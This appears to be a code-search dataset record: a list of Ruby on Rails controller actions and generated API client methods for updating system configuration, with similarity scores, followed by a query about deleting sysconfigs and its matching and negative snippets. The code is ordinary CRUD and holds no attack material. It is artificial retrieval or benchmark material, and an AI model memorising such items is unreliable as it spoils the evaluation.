"def destroy\n @sys_config = SysConfig.find(params[:id])\n @sys_config.destroy\n\n respond_to do |format|\n format.html { redirect_to user_system_sys_configs_url }\n format.xml { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @kernel_config.update(kernel_config_params)\n format.html { redirect_to @kernel_config, notice: \"Kernel config was successfully updated.\" }\n format.json { render :show, status: :ok, location: @kernel_config }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @kernel_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n if @app_config.update_attributes(params[:app_config])\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @system_config = SystemConfig.new(system_config_params)\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, notice: 'System config was successfully created.' }\n format.json { render action: 'show', status: :created, location: @system_config }\n else\n format.html { render action: 'new' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sys_check = SysCheck.find(params[:id])\n\n respond_to do |format|\n if @sys_check.update_attributes(params[:sys_check])\n format.html { redirect_to @sys_check, notice: 'Sys check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sys_check.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n ok = 1\n cfg_params= dict_config_params\n cfg_params[:dict_sys_name]=cfg_params[:dict_sys_name].strip()\n rec=@dict_config.find_by_sys_name(cfg_params[:dict_sys_name])\n if rec != nil and rec.id != @dict_config.id \n @dict_config.errors.add(:dict_sys_name, :invalid, message: \"dict_sys_name already used!\")\n ok = 0\n end\n if ok==1 and @dict_config.update(cfg_params)\n format.html { redirect_to @dict_config, notice: 'Dict config was successfully updated.' }\n format.json { render :show, status: :ok, location: @dict_config }\n else\n format.html { render :edit }\n format.json { render json: @dict_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_config.update(app_config_params)\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_config }\n else\n format.html { render :edit }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @system.update(system_params)\n format.html { redirect_to([:admin, @system], notice: 'System was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated spec: #{@system.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @site_config.update(site_config_params)\r\n format.html { redirect_to action: :index, notice: t('Site config was successfully updated.') }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @site_config.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @site_config = SiteConfig.find(params[:id])\n\n respond_to do |format|\n if @site_config.update_attributes(site_config_params)\n format.html { redirect_to @site_config, notice: 'Site config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_kubernetes_sys_config_policy_with_http_info(moid, kubernetes_sys_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_sys_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_sys_config_policy\"\n end\n # verify the required parameter 'kubernetes_sys_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_sys_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_sys_config_policy' when calling KubernetesApi.update_kubernetes_sys_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/SysConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_sys_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesSysConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_sys_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_sys_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @admin_system_setup.update(admin_system_setup_params)\n format.html { redirect_to admin_index_path, notice: 'System setup er opdateret.' }\n format.json { render :show, status: :ok, location: @admin_system_setup }\n else\n format.html { render :edit }\n format.json { render json: @admin_system_setup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @system_option.update(system_option_params)\n format.html { redirect_to([:admin, @system], notice: 'System Option was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated system option: #{@system_option.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @system_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @configs = args[:configs] if args.key?(:configs)\n end",
"def set_systemsetting\n @systemsetting = Systemsetting.find(params[:id])\n end",
"def destroy\n @system_config = SystemConfig.find(params[:id])\n @system_config.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :ok }\n end\n end",
"def update_system_with_http_info(system, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SystemsApi.update_system ...'\n end\n # verify the required parameter 'system' is set\n if @api_client.config.client_side_validation && system.nil?\n fail ArgumentError, \"Missing the required parameter 'system' when calling SystemsApi.update_system\"\n end\n # resource path\n local_var_path = '/s'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(system)\n\n # return_type\n return_type = opts[:debug_return_type] || 'System'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['TokenAuth']\n\n new_options = opts.merge(\n :operation => :\"SystemsApi.update_system\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SystemsApi#update_system\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n if @system_setting.update(system_setting_params)\n System.reset\n redirect_to system_admin_index_path\n else\n render :edit\n end\n end",
"def index\n @sysconfigs = Sysconfig.order(created_at: :desc).page(params[:page])\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @siteconfig.update(siteconfig_params)\n\t\t\t\tformat.html { redirect_to @siteconfig, notice: 'Siteconfig was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @siteconfig }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @siteconfig.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n if @user.tconfig.update_attributes(params[:tconfig])\n @status = \"good\"\n @message = \"Settings updated\"\n @resource = @user.tconfig\n elsif !@user.tconfig.valid?\n @message = \"Oops! Please make sure all fields are valid!\"\n end\n\n serve_json_response\n end",
"def index\n @sys_configs = @system.sys_configs.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sys_configs.to_xml }\n end\n end",
"def update\n @system_option = SystemOption.find(params[:id])\n\n respond_to do |format|\n if @system_option.update_attributes(params[:system_option])\n flash[:notice] = 'SystemOption was successfully updated.'\n format.html { redirect_to(@system_option) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @system_option.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @system_config.destroy\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :no_content }\n end\n end",
"def save\r\n SystemConfig.set name, to_h(false), true\r\n end",
"def update_system(outputs)\n Log.info 'Platform stack has created. CloudConductor will register host to zabbix/DNS.'\n @system.ip_address = outputs['FrontendAddress']\n @system.monitoring_host = @system.domain\n @system.template_parameters = outputs.except('FrontendAddress').to_json\n @system.save!\n end",
"def update\n @system = System.find(params[:id])\n\n respond_to do |format|\n if @system.update_attributes(params[:system])\n flash.now[:success] = \"System was successfully updated.\"\n format.html { redirect_to @system }\n #proper response to http PUT is also no_content\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_kubernetes_sys_config_policy_with_http_info(moid, kubernetes_sys_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_sys_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_sys_config_policy\"\n end\n # verify the required parameter 'kubernetes_sys_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_sys_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_sys_config_policy' when calling KubernetesApi.patch_kubernetes_sys_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/SysConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_sys_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesSysConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_sys_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_sys_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @system_configs = SystemConfig.all\n end",
"def update\n respond_to do |format|\n if @sys_property.update(sys_property_params)\n @sys_property.save_property_values(params[:property_values_name])\n format.html { redirect_to @sys_property, notice: 'Property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sys_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def config_update( name )\n @ndev_res.update name\n @@netdev.edit_config( @ndev_res, \"xml\" )\n end",
"def update\n respond_to do |format|\n if @jenkins_app_config.update(jenkins_app_config_params)\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully updated.' }\n format.json { render :show, status: :ok, location: @jenkins_app_config }\n else\n format.html { render :edit }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @systemadmin = Systemadmin.find(params[:id])\n\n respond_to do |format|\n if @systemadmin.update_attributes(params[:systemadmin])\n format.html { redirect_to @systemadmin, notice: 'Systemadmin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @systemadmin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sys_category.update(sys_category_params)\n format.html { redirect_to @sys_category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sys_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n if @system_configuration.update_attributes(params[:system_configuration])\n session[:language] = @system_configuration.language\n I18n.locale = session[:language]\n format.html { redirect_to @system_configuration, notice: t(:successfully_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n categories = [:general, :menu, :topic, :note, :smtp, :feed, :user, :log]\n\n yaml = ApplicationHelper.get_config_yaml\n\n categories.each do |cat|\n next if params[cat].nil? or params[cat].empty?\n\n yaml[cat] = Hash.new if yaml[cat].nil?\n\n params[cat].each do |key, val|\n if cat == :general\n case key\n when 'symbol_image'\n ConfigHelper.save_img('symbol.png', val) if val.size > 0\n else\n yaml[cat][key] = val\n end\n elsif cat == :topic\n case key\n when 'src'\n ConfigHelper.save_html('topics.html', val) if val.size > 0\n else\n yaml[cat][key] = val\n end\n elsif cat == :note\n case key\n when 'src'\n ConfigHelper.save_html('note.html', val) if val.size > 0\n else\n yaml[cat][key] = val\n end\n else\n if params[:smtp]['auth_enabled'] == '0'\n val = nil if ['auth', 'user_name', 'password'].include?(key)\n end\n yaml[cat][key] = val\n end\n end\n end\n\n ApplicationHelper.save_config_yaml(yaml)\n\n flash[:notice] = t('msg.update_success')\n redirect_to(:controller => 'config', :action => 'edit')\n end",
"def update\n respond_to do |format|\n if @sys_role.update(sys_role_params)\n format.html { redirect_to @sys_role, notice: 'Sys role was successfully updated.' }\n format.json { render :show, status: :ok, location: @sys_role }\n else\n format.html { render :edit }\n format.json { render json: @sys_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sys_config_params\n params.require(:sys_config).permit(:positions_hm_range_1, :positions_hm_range_2, :positions_hm_range_3, :positions_hm_range_4,\n :speed_hm_diff_range_1, :speed_hm_diff_range_2, :speed_hm_diff_range_3, :speed_hm_diff_range_4,\n :speed_hm_query_range_1, :speed_hm_query_range_2, :speed_hm_query_range_3, :speed_hm_query_range_4,\n :bounding_box_gap, :search_radius)\n end",
"def set_system(name)\n system_dir = File.join(base_systems_dir, name)\n unless File.directory?(system_dir)\n err \"CloudFoundry system path '#{system_dir.red}` does not exist\"\n end\n \n say \"CloudFoundry system set to #{system_dir.green}\"\n common_config.target_system = system_dir\n common_config.save\n end",
"def update\n authorize! :update, @concerto_config\n params[:concerto_config].each do |k,v|\n ConcertoConfig.set(k,v) #only set this if the config already exists\n end\n redirect_to :action => :index\n end",
"def index\n @system_configs = SystemConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @system_configs }\n end\n end",
"def update\n @system_info = SystemInfo.find(params[:id])\n @system_info.updated_user = current_user.login_name\n \n respond_to do |format|\n if @system_info.update_attributes(params[:system_info])\n format.html { redirect_to maint_index_path, notice: 'System info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/configs/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def update\n respond_to do |format|\n if @api_config.update(api_config_params)\n format.html { redirect_to @api_config, notice: 'Api config was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_config }\n else\n format.html { render :edit }\n format.json { render json: @api_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ssystem.update(ssystem_params)\n format.html { redirect_to @ssystem, notice: 'Ssystem was successfully updated.' }\n format.json { render :show, status: :ok, location: @ssystem }\n else\n format.html { render :edit }\n format.json { render json: @ssystem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @system_config = SystemConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @system_config }\n end\n end",
"def put_config config = { 'room' => [ { 'name' => 'default-room', 'device' => [ 'light' => { 'name' => 'default-device' } ] } ] }\n File.open( self.get_config_file, 'w' ) do | handle |\n handle.write YAML.dump( config )\n end\n self.get_config_file\n end",
"def update\n respond_to do |format|\n if @config.update(config_params)\n format.html { redirect_to @config, notice: \"Config was successfully updated.\" }\n format.json { render :show, status: :ok, location: @config }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sm_backend_config = SmBackendConfig.find(params[:id])\n\n respond_to do |format|\n if @sm_backend_config.update_attributes(params[:sm_backend_config])\n format.html { redirect_to @sm_backend_config, notice: 'Sm backend config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sm_backend_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def system_put_with_http_info(authorization, system, _opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SystemApi.system_put ...'\n end\n # verify the required parameter 'authorization' is set\n if @api_client.config.client_side_validation && authorization.nil?\n raise ArgumentError, \"Missing the required parameter 'authorization' when calling SystemApi.system_put\"\n end\n # verify the required parameter 'system' is set\n if @api_client.config.client_side_validation && system.nil?\n raise ArgumentError, \"Missing the required parameter 'system' when calling SystemApi.system_put\"\n end\n # resource path\n local_var_path = '/system'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:Authorization] = authorization\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(system)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n header_params: header_params,\n query_params: query_params,\n form_params: form_params,\n body: post_body,\n auth_names: auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SystemApi#system_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n [data, status_code, headers]\n end",
"def set_ssystem\n @ssystem = Ssystem.find(params[:id])\n end",
"def update\n @configure = Configure.find(params[:id])\n\n respond_to do |format|\n if @configure.update_attributes(params[:configure])\n format.html { redirect_to @configure, notice: 'Configure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @configure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend",
"def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend",
"def update\n @hydraulic_system = HydraulicSystem.find(params[:id])\n\n respond_to do |format|\n if @hydraulic_system.update_attributes(params[:hydraulic_system])\n format.html { redirect_to @hydraulic_system, notice: 'Hydraulic system was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hydraulic_system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_configuration(xml, options = {})\n client = extract_client!(options)\n\n # The Artifactory api requires a content type of 'application/xml'.\n # See http://bit.ly/1l2IvZY\n headers = { \"Content-Type\" => \"application/xml\" }\n client.post(\"/api/system/configuration\", xml, headers)\n end",
"def modify\n debug(\"#{self.class}::modify\")\n\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n end\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n\n\n\n @payload = {}\n if !($description.to_s.empty?)\n @payload[:description] = $description\n end\n if !($peak_latency.to_s.empty?)\n @payload[:peak_latency] = $peak_latency\n end\n if !($peak_iops_per_tb.to_s.empty?)\n @payload[:peak_iops_per_tb] = $peak_iops_per_tb\n end\n if !($expected_iops_per_tb.to_s.empty?)\n @payload[:expected_iops_per_tb] = $expected_iops_per_tb\n end\n resourceType = \"storageservicelevel\"\n\n if(transport.http_put_request(apiUri , @payload.to_json , resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n end\n\n end",
"def update_config(serverName)\n @admin.updateConfiguration(ServerName.valueOf(serverName))\n end",
"def with_system(sys_config)\n @config[AF::SYSTEM] = sys_config\n self\n end",
"def update\n @node_config = NodeConfig.find(params[:id])\n\n respond_to do |format|\n if @node_config.update_attributes(params[:node_config])\n format.html { redirect_to(@node_config, :notice => 'NodeConfig was successfully updated.') }\n format.json { render :json => @node_config, :status => :ok }\n format.xml { render :xml => @node_config, :status => :ok }\n else\n format.xml { render :xml => @node_config.errors, :status => :unprocessable_entity }\n format.any { render :json => @node_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_subject_config(subject, config)\n put \"/config/#{subject}\", { body: config.to_json }\n end",
"def update\n if @user.tconfig.update_attributes(settings_params)\n @status = \"good\"\n @message = \"Settings updated\"\n @resource = @user.tconfig\n elsif !@user.tconfig.valid?\n @message = \"Oops! Please make sure all fields are valid!\"\n end\n\n serve_json_response\n end",
"def update_config\n if File.directory?(yolo_dir) and File.exist?(yaml_path)\n @yaml = YAML::load_file yaml_path\n update_yaml_setting(@yaml, \"deployment\", \"api_token\", \"example\")\n update_yaml_setting(@yaml, \"deployment\", \"team_token\", \"example\")\n end\n end",
"def update_configs!(config_params)\n config_params.each do |config|\n value = config[1].to_s\n #find the config\n configuration = UniversalAr::Configuration.find(config[0])\n if !configuration.nil?\n configuration.create_or_update_config(self, config[1])\n end\n end\n end",
"def update!(**args)\n @device_configs = args[:device_configs] if args.key?(:device_configs)\n end",
"def update!(**args)\n @device_configs = args[:device_configs] if args.key?(:device_configs)\n end",
"def update\n @system = System.find(params[:id])\n\n respond_to do |format|\n if @system.update_attributes(params[:system])\n format.html {redirect_to systems_url, flash[:info]='System was successfully updated.' }\n format.js { flash[:info]='System was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_system(system, opts = {})\n data, _status_code, _headers = update_system_with_http_info(system, opts)\n data\n end",
"def set_systab\n @systab = Systab.find(params[:id])\n end",
"def update\n @cys_env = CysEnv.find(params[:id])\n\n respond_to do |format|\n if @cys_env.update_attributes(params[:cys_env])\n format.html { redirect_to @cys_env, notice: 'Cys env was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cys_env.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n put(\"/apps/#{name}\", :app => attributes).to_s\n end",
"def set_siteconfig\n\t\t@siteconfig = Siteconfig.find(params[:id])\n\tend",
"def update\n @configtable = Configtable.find(params[:id])\n\n respond_to do |format|\n if @configtable.update_attributes(params[:configtable])\n format.html { redirect_to @configtable, notice: 'Configtable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @configtable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n\n key = params[\"setting\"][\"key\"]\n value = params[\"setting\"][\"value\"]\n @setting.key = key\n @setting.value = value\n @setting.location = params[\"setting\"][\"location\"]\n if @setting.save!\n\n format.html { redirect_to edit_system_node_path(@setting.system_node_id), notice: 'Setting was successfully updated.' }\n format.json { render :show, status: :ok, location: @setting }\n else\n format.html { render :edit }\n format.json { render json: @setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @system_stat.update(system_stat_params)\n format.html { redirect_to @system_stat, notice: 'System stat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_stat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sys_property_params\n params.require(:sys_property).permit(:name, :status, :values_name).merge({account_id: current_account.id, updater_id: current_user.id})\n end",
"def update\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n if @app_config.update_attributes(params[:app_config])\n format.html {\n flash.now[:notice] = \"更新しました。\"\n render :action => \"edit\" \n #redirect_to(@app_config, :notice => 'App config was successfully updated.') \n }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @system_configuration = SystemConfiguration.new(params[:system_configuration])\n\n respond_to do |format|\n if @system_configuration.save\n format.html { redirect_to @system_configuration, notice: 'System configuration was successfully created.' }\n format.json { render json: @system_configuration, status: :created, location: @system_configuration }\n else\n format.html { render action: \"new\" }\n format.json { render json: @system_configuration.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.739974",
"0.7163445",
"0.69778836",
"0.67551184",
"0.66523504",
"0.6626705",
"0.6618349",
"0.6481555",
"0.6279338",
"0.62287104",
"0.61434656",
"0.6092519",
"0.60168856",
"0.5936552",
"0.59056824",
"0.5903177",
"0.58864784",
"0.5867259",
"0.5821404",
"0.57741857",
"0.5749935",
"0.5744904",
"0.5723181",
"0.5710013",
"0.570296",
"0.56588113",
"0.56549823",
"0.562202",
"0.56026614",
"0.5599018",
"0.5574677",
"0.55517274",
"0.5494039",
"0.5487718",
"0.54599136",
"0.54455507",
"0.54440546",
"0.54188716",
"0.5416623",
"0.54148585",
"0.5387044",
"0.5385762",
"0.5364056",
"0.5338531",
"0.5338083",
"0.53258586",
"0.53148013",
"0.5300294",
"0.5293867",
"0.5288609",
"0.528516",
"0.52736765",
"0.52734965",
"0.5251658",
"0.52359337",
"0.5226207",
"0.52047276",
"0.52011853",
"0.51988304",
"0.51822525",
"0.51773125",
"0.5175812",
"0.51748365",
"0.51655966",
"0.51515895",
"0.5151508",
"0.51513445",
"0.5143125",
"0.51428604",
"0.5129018",
"0.5124891",
"0.51209515",
"0.5120472",
"0.511254",
"0.5101617",
"0.5101617",
"0.5086024",
"0.5076113",
"0.5072931",
"0.50694966",
"0.5065833",
"0.5061994",
"0.5054087",
"0.5053813",
"0.5041681",
"0.5019912",
"0.50197846",
"0.50197846",
"0.5017883",
"0.5014387",
"0.5012168",
"0.50067335",
"0.50060076",
"0.49999788",
"0.49992418",
"0.49972504",
"0.4985627",
"0.49848157",
"0.49825236",
"0.49815688"
] |
0.7398427
|
1
|
DELETE /sysconfigs/1 DELETE /sysconfigs/1.json
|
def destroy
@sysconfig = Sysconfig.find(params[:id])
@sysconfig.destroy
respond_to do |format|
format.html { redirect_to sysconfigs_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @sys_config = SysConfig.find(params[:id])\n @sys_config.destroy\n\n respond_to do |format|\n format.html { redirect_to user_system_sys_configs_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sysconfig.destroy\n respond_to do |format|\n format.html { redirect_to sysconfigs_url, notice: 'Sysconfig was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @system_config.destroy\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @system_config = SystemConfig.find(params[:id])\n @system_config.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @system_configuration = SystemConfiguration.find(params[:id])\n @system_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configurations_url }\n format.json { head :no_content }\n end\n end",
